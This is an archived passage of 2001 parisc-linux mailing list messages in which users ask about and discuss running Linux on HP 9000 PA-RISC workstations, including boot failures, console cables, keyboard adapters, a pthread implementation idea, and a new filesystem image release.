X-Trace: ger.gmane.org 1416619960 16885 80.91.229.3 (22 Nov 2014 01:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 18 20:21:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com [216.136.174.113])
	by dsl2.external.hp.com (Postfix) with SMTP id 618314A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Mar 2001 20:21:31 -0700 (MST)
Original-Received: from hse-london-ppp195576.sympatico.ca (HELO eeyore) (64.229.17.147)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 19 Mar 2001 03:21:21 -0000
X-Apparently-From: <fzr1000yamaha@yahoo.ca>
Original-Sender: root@dsl2.external.hp.com
X-Mailer: Mozilla 3.04 (X11; U; SunOS 5.6 sun4c)
Xref: news.gmane.org gmane.linux.ports.parisc:10548

I have read the posts for the past couple of months and I am intreasted
in a stable, or runnable kernel for the HP9000 710. It appears that the
SCSI and LAN adapters are not supported properly in the latest kernel
revs. I have had simmilar results as earlier posts.

Did the 710 ever work and just got broken? Does anyone have pa-linux
running on a 710? I am currently running mk-linux but it is old and has
its own problems.

Thank You
Brian Stewart

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com





From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "William Carlsson" <william.carlsson@teligent.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux on HP 712/60 - or 9000/E45 (826) ?
Date: Mon, 19 Mar 2001 15:30:28 +0100
Lines: 169
Approved: news@gmane.org
Message-ID: <NEBBKDKPGLOJMLMCBOBLIELCDIAA.william.carlsson@teligent.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
	protocol="application/x-pkcs7-signature";
	micalg=SHA1;
	boundary="----=_NextPart_000_0088_01C0B089.846CB9E0"
X-Trace: ger.gmane.org 1416619960 16888 80.91.229.3 (22 Nov 2014 01:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:40 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 07:30:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0562D4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 07:30:57 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA31250
	for <parisc-linux@puffin.external.hp.com>; Mon, 19 Mar 2001 07:25:35 -0700
Original-Received: (qmail 7902 invoked by uid 15267); 19 Mar 2001 14:30:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7763 invoked from network); 19 Mar 2001 14:30:31 -0000
Original-Received: from mail.teligent.se (212.209.126.130)
  by mailserv2.iuinc.com with SMTP; 19 Mar 2001 14:30:31 -0000
Original-Received: from zero (dyn-office-117.teligent.se [172.18.0.117])
	by mail.teligent.se (8.11.1/8.11.1) with SMTP id f2JESGe99055
	for <parisc-linux@thepuffingroup.com>; Mon, 19 Mar 2001 15:28:17 +0100 (CET)
	(envelope-from william.carlsson@teligent.se)
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: High
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:10549

This is a multi-part message in MIME format.

------=_NextPart_000_0088_01C0B089.846CB9E0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_0089_01C0B089.84745B00"


------=_NextPart_001_0089_01C0B089.84745B00
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

Neither of those 2 machines boots up on the iso,
the 712 halts with "pdc_cons die !!!"

I don't know if the pin-out for the terminal cable, except I've an 25-25
pin cable to the 9000
which doesn't help me very much in a 9pin port... Suggestions?

Anyone actually booted up linux on a 9000/E45 (826) or a 712 ?


----------------------------------------------------
William Carlsson
 R&D Engineer
 Second Line Support

Teligent Nordic AB
 P.O. Box 213
 S-149 21 Nynshamn
 SWEDEN

Telephone: +46 - 8 - 59 99 11 92

eMail: william.carlsson@teligent.se
http://www.teligent.se
----------------------------------------------------
"And then it comes to be that the soothing light
   at the end of your tunnel was just a freight
            train, comin' your way."





------=_NextPart_001_0089_01C0B089.84745B00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D470080714-19032001><FONT face=3DArial =
size=3D2>Neither of those 2=20
machines boots up on the iso,</FONT></SPAN></DIV>
<DIV><SPAN class=3D470080714-19032001><FONT face=3DArial size=3D2>the =
712 halts with=20
"pdc_cons die !!!"</FONT></SPAN></DIV>
<DIV>&nbsp;</DIV>
<DIV><SPAN class=3D470080714-19032001></SPAN><FONT face=3DArial><FONT =
size=3D2>I<SPAN=20
class=3D470080714-19032001> don't know if the pin-out for the terminal =
cable,=20
except I've an 25-25 pin cable to the 9000</SPAN></FONT></FONT></DIV>
<DIV><SPAN class=3D470080714-19032001></SPAN><SPAN=20
class=3D470080714-19032001></SPAN><FONT face=3DArial><FONT =
size=3D2>w<SPAN=20
class=3D470080714-19032001>hich doesn't help me very much in a 9pin =
port...=20
Suggestions?</SPAN></FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2><SPAN=20
class=3D470080714-19032001></SPAN></FONT></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial><FONT size=3D2><SPAN =
class=3D470080714-19032001>Anyone=20
actually booted up linux on a 9000/E45 (826) or a 712=20
?</SPAN></FONT></FONT></DIV>
<DIV><BR></DIV>
<P><FONT =
size=3D2>----------------------------------------------------<BR>William =

Carlsson<BR>&nbsp;R&amp;D Engineer<BR>&nbsp;Second Line =
Support<BR><BR>Teligent=20
Nordic AB<BR>&nbsp;P.O. Box 213<BR>&nbsp;S-149 21=20
Nyn=E4shamn<BR>&nbsp;SWEDEN<BR><BR>Telephone: +46 - 8 - 59 99 11 =
92<BR><BR>eMail:=20
william.carlsson@teligent.se<BR><A target=3D_blank=20
href=3D"http://www.teligent.se/">http://www.teligent.se</A><BR>----------=
------------------------------------------<BR>"And=20
then it comes to be that the soothing light<BR>&nbsp;&nbsp; at the end =
of your=20
tunnel was just a=20
freight<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;=20
train, comin' your way."<BR><BR>&nbsp;</FONT> </P>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_0089_01C0B089.84745B00--

------=_NextPart_000_0088_01C0B089.846CB9E0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7s"

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII9DCCApIw
ggH7oAMCAQICAwQSrDANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw
MC44LjMwMB4XDTAxMDEzMDEwNDQyOVoXDTAyMDEzMDEwNDQyOVowTjEfMB0GA1UEAxMWVGhhd3Rl
IEZyZWVtYWlsIE1lbWJlcjErMCkGCSqGSIb3DQEJARYcd2lsbGlhbS5jYXJsc3NvbkB0ZWxpZ2Vu
dC5zZTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAt0rMdd9YuaS4D4MakSRj/ZL0XoEpixpg
tud44/OoxGxBb85DD2CWzItswUO1GhrUBHLmvrRE4VmCygz32gBXuBvaMgxExi6JjUJ7Jg+d7mdw
qwd1JAmFwa4n6r2CuMZHcwdYDZDxfeLnQxsmRtqx9BnXWxfRg8+qwo2yAQWuiDcCAwEAAaM5MDcw
JwYDVR0RBCAwHoEcd2lsbGlhbS5jYXJsc3NvbkB0ZWxpZ2VudC5zZTAMBgNVHRMBAf8EAjAAMA0G
CSqGSIb3DQEBBAUAA4GBAFKFO0N8PkY9q1gnuJ984O2SFtM5P1Rrk8A/9RBkz5TK7YjAzv3AsIqz
qLSsjXOQ+Z5UBeMf4ZTkwzfej7IUUewGrIuBlaiL+jeb5XfLqYmoed53cozHIE1qWDFZ2dKLfrKY
2i7Xh1tmpi9HDUf1N/LjwQW6b0zGPjPmQGk+/qc1MIIDKTCCApKgAwIBAgIBDDANBgkqhkiG9w0B
AQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2Fw
ZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlv
biBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENB
MSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAw
MDAwMFoXDTAyMDgyOTIzNTk1OVowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENh
cGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZp
Y2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCB
nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUq
bXA8+tyu9+50bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC9tew
kd4c6avgGAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEwwKQYDVR0R
BCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQIMAYBAf8CAQAw
CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBAHMbbyZli/8VNEtZYortRL5Jx+gNu4+5DWom
KmKEH7iHY3QcbbfPGlORS+HN5jjZ7VD0Omw0kqzmkpxuwSMBwgmn70uuct0GZ/VQby5YuLYLwVBX
tewc1+8XttWIm7eiiBrtOVs5fTT8tpYYJU1q9J3Fw5EvqZa4BTxS/N3pYgNIMIIDLTCCApagAwIB
AgIBADANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2Fw
ZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UE
CxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNv
bmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUu
Y29tMB4XDTk2MDEwMTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgdExCzAJBgNVBAYTAlpBMRUwEwYD
VQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENv
bnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNV
BAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwt
ZnJlZW1haWxAdGhhd3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1GnX1LCUZFtx
6UfYDFG26nKRsIRefS0Nj3sS34UldSh0OkIsYyeflXtL734Zhx2G6qPduc6WZBrCFG5ErHzmj+hN
D3EfQDimAKOHePb5lIZererAXnbr2RSjXW56fAylS1V/Bhkpf56aJtVquzgkCGqYx7Hao5iR/Xnb
5VrEHLkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQDH7JJ+Tvj1
lqVnYiqk8E0RYNBvjWBYYawmu1I1XAjPMPuoSpaKH2JCI4wXD/S6ZJwXrEcp352YXtJsYHFcoqzc
eePnbgBHH7UNKOgCneSa/RP0ptl8sfjcXyMmCZGAc9AUG95DqYMl8uacLxXK/qarigd1iwzdUYRr
5PjRzneigTGCAqowggKmAgEBMIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBD
YXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlm
aWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAC
AwQSrDAJBgUrDgMCGgUAoIIBZTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJ
BTEPFw0wMTAzMTkxNDMwMjRaMCMGCSqGSIb3DQEJBDEWBBSFnDo4ZAlsmcZHVF/GHt02xR3AaDBY
BgkqhkiG9w0BCQ8xSzBJMA4GCCqGSIb3DQMCAgIAgDAKBggqhkiG9w0DBzAHBgUrDgMCBzANBggq
hkiG9w0DAgIBKDAKBggqhkiG9w0CBTAHBgUrDgMCGjCBqwYJKwYBBAGCNxAEMYGdMIGaMIGSMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzAN
BgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1Bl
cnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwQSrDANBgkqhkiG9w0BAQEFAASBgC37lnb/
pUo4gr13HN45l21cJwITttWhZ46YvyXOu/TvwdgCQNjbJNQ9qYxw0aPvq9/HeP4zVw0Fyl+pB1vL
ECnuIZl++oDiCmjVPwotf00K6OUSkTpuq7W9ZWTOMKI1IvUqJkHczbonciEVe+Bpx3tEFaIENAb6
TkXDQAc7bH48AAAAAAAA

------=_NextPart_000_0088_01C0B089.846CB9E0--





From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Liesenfeld <xunil96@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735/125 Install Woes
Date: Mon, 19 Mar 2001 07:35:26 -0800 (PST)
Lines: 29
Approved: news@gmane.org
Message-ID: <20010319153526.9499.qmail@web5501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619960 16889 80.91.229.3 (22 Nov 2014 01:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 08:35:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web5501.mail.yahoo.com (web5501.mail.yahoo.com [216.115.106.184])
	by dsl2.external.hp.com (Postfix) with SMTP id 786CA4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 08:35:27 -0700 (MST)
Original-Received: from [24.167.216.227] by web5501.mail.yahoo.com; Mon, 19 Mar 2001 07:35:26 PST
Xref: news.gmane.org gmane.linux.ports.parisc:10550

Greetings-

I'm trying to get palinux installed on my 735/125.  I've got serial console on it (laptop + serial
cable + minicom), a 4GB SCSI disk installed.  This machine has previously run HP-UX 10.20 just
fine.  When I try to boot either the lifimage I found on the FTP site, or the CD (palinux-0.5 ISO
from the FTP server), I get the following:

High Priority Machine Check (HPMC): Code=1 regs=c0266080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
... etc ...

I can paste the remainder of the output if it is relevant, but I was hoping there was a simple
explanation for this, even if it is "it won't work, forget it."  :)

As a side note, is there anyone in the palinux community that is successfully running on a 735?

Thanks,

-R

__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP 712/60 - or 9000/E45 (826) ?
Date: Mon, 19 Mar 2001 21:06:51 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <3AB666DB.2F4242FB@esiee.fr>
References: <NEBBKDKPGLOJMLMCBOBLIELCDIAA.william.carlsson@teligent.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619960 16890 80.91.229.3 (22 Nov 2014 01:32:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:40 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: William Carlsson <william.carlsson@teligent.se>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 13:04:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77CEE4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 13:04:22 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2B8D9D15C5; Mon, 19 Mar 2001 21:04:20 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10551

Hi William,

	Here, we have already working a A500, a B132 and a few 712 and 715. If you want
more info, you should go to the PA/Linux official web
site(http://www.parisc-linux.org) or to our page at http://www.esiee.fr/puffin.
You will find in these two websites all you need. Soon, our team will release a
new File System image with the latest debs. 

So good luck, Thomas




From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Konstantinos Margaritis <markos@feanor.nuclear.demokritos.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard problem on 715/80
Date: Mon, 19 Mar 2001 23:41:11 +0200 (EET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103192334050.16746-100000@feanor.nuclear.demokritos.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619961 16893 80.91.229.3 (22 Nov 2014 01:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 14:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from feanor.nuclear.demokritos.gr (feanor.nuclear.demokritos.gr [143.233.244.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BE344A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 14:39:17 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by feanor.nuclear.demokritos.gr with esmtp (Exim 3.16 #1 (Debian))
	id 14f7Op-0004MA-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 23:41:11 +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10552

Hi,
  I got me a 715/80 to try to play with linux, but with no keyboard or
mouse. Instead of getting a HIL kbd+mouse, I got the the HIL-PS/2 adapter
from ebay and a ps/2 keyboard and mouse. Both work fine on a pc, but on
the 715/80 (which has two disks, one was included and I don't know that is
inside and the other was in a powermac). The system does not boot but
unfortunately it does nothing apart from displaying the message:

Failed to initialize a keyboard
Fix the keyboard and cycle power

It doesn't work. Anyone can show me some pointers as to what might be at
fault? Is there a jumper on the motherboard that I should set? might it be
a broken HIL port?

Anyway, Are there any web sites that offers technical info on these
machines? I mean like schematics, manuals, etc.
And another thing, what is the round button in the middle of one side of
the case? A reset? 

Thanks for any help.

Konstantinos





From - Thu Nov 08 21:16:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Keyboard problem on 715/80
Date: Mon, 19 Mar 2001 21:44:42 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010319214442.E7479@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0103192334050.16746-100000@feanor.nuclear.demokritos.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619961 16894 80.91.229.3 (22 Nov 2014 01:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Konstantinos Margaritis <markos@feanor.nuclear.demokritos.gr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 14:44:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B2444A19
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Mar 2001 14:44:54 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14f7SE-0000Kh-00; Mon, 19 Mar 2001 21:44:42 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.21.0103192334050.16746-100000@feanor.nuclear.demokritos.gr>; from markos@feanor.nuclear.demokritos.gr on Mon, Mar 19, 2001 at 11:41:11PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10553

On Mon, Mar 19, 2001 at 11:41:11PM +0200, Konstantinos Margaritis wrote:
> And another thing, what is the round button in the middle of one side of
> the case? A reset? 

that's the TOC button.  TOC stands for Transfer Of Control.  effectively,
it acts as a reset button, but there should be a way to do more
interesting things with it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Efficient Pthread Implementation
Date: Tue, 20 Mar 2001 04:43:48 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20010320044348.K7479@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619961 16896 80.91.229.3 (22 Nov 2014 01:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 19 21:43:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 147244A19
	for <parisc-linux@parisc-linux.org>; Mon, 19 Mar 2001 21:43:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14fDzo-0007Ct-00
	for parisc-linux@parisc-linux.org; Tue, 20 Mar 2001 04:43:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10554

Pthreads needs a way to find the address of the thread control structure
for the task which is currently running.  If we use fixed instead of
floating stacks, and don't tell it to use a different stack (unsure
what circumstances will cause this to happen, or the advantages of
configuring pthreads to use floating stacks), then everything is fine,
we can simply take the stack pointer, mask it with the stack size and
get the answer we were looking for.

If we use a different stack, then it scans the various stacks looking
to see which stack contains this stack pointer, unless the architecture
specifies a better way to find it.  x86 uses one of the segment registers,
ia64 uses a register specified in the ABI.  I propose we could use %cr27.
It's readable from userspace, and we could have a 2-insn stub on the
gateway page which sets %cr27 as necessary.  We then have to switch its
value across context switch, which doesn't seem like a big deal to me.

Comments?  Better ideas?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new FS of ESIEE Team is ready
Date: Tue, 20 Mar 2001 20:08:15 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3AB7AA9F.985576AA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619962 16898 80.91.229.3 (22 Nov 2014 01:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:42 +0000 (UTC)
Cc: Giacomo Mulas <gmulas@ca.astro.it>,
	"SOETE =?iso-8859-1?Q?Jo=EBl?=" <JSO@EUROPAY.COM>,
	William Carlsson <william.carlsson@teligent.se>
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 12:05:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9A5E4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Mar 2001 12:05:35 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id C1178D15EC; Tue, 20 Mar 2001 20:05:33 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10555

Hi all,

	The new FS is ready (~61MB). No "more" bugged with the good TERM parameter and
no password :)
It is a specially designed for 712 owners but it is a sane fs, we hope.

Please, go to our DL page: http://mkhppa1.esiee.fr/en/download.html

Good luck, Thomas
ESIEE Team




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Efficient Pthread Implementation
